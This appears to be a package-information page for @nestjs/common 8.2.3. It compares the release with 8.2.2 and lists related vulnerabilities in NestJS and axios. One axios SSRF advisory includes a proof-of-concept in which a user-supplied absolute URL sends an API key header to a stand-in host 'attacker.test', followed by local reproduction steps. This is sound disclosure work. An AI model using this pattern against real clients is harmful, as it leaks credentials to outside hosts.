@nestjs/common version 8.2.3 represents a minor update to the popular NestJS framework's core module, following closely on the heels of version 8.2.2. Both versions share the same fundamental dependencies, including uuid, axios, tslib, and iterare, ensuring a consistent foundation for building robust Node.js applications. Similarly, the peer dependencies, such as rxjs, cache-manager, class-validator, reflect-metadata, and class-transformer, remain unchanged, preserving compatibility with existing NestJS projects.
The key differences lie primarily in the underlying distribution and release timing. Version 8.2.3, released on November 22, 2021, has a slightly larger unpacked size of 358074 bytes compared to version 8.2.2's 358005 bytes, although the file count remains the same at 349. This small size difference likely indicates minor bug fixes, performance enhancements or documentation updates rather than significant feature additions.
For developers using @nestjs/common, this suggests that upgrading from 8.2.2 to 8.2.3 should be a relatively straightforward process with minimal risk of breaking changes. The updated version likely incorporates incremental improvements that can enhance application stability and performance. Reviewing the detailed changelog (available on the NestJS GitHub repository) is always recommended to understand the specifics of the update and ensure compatibility with particular use cases. These frequent, minor version updates are typical of actively maintained libraries, demonstrating an ongoing commitment to refining and improving the developer experience.
All the vulnerabilities related to the version 8.2.3 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.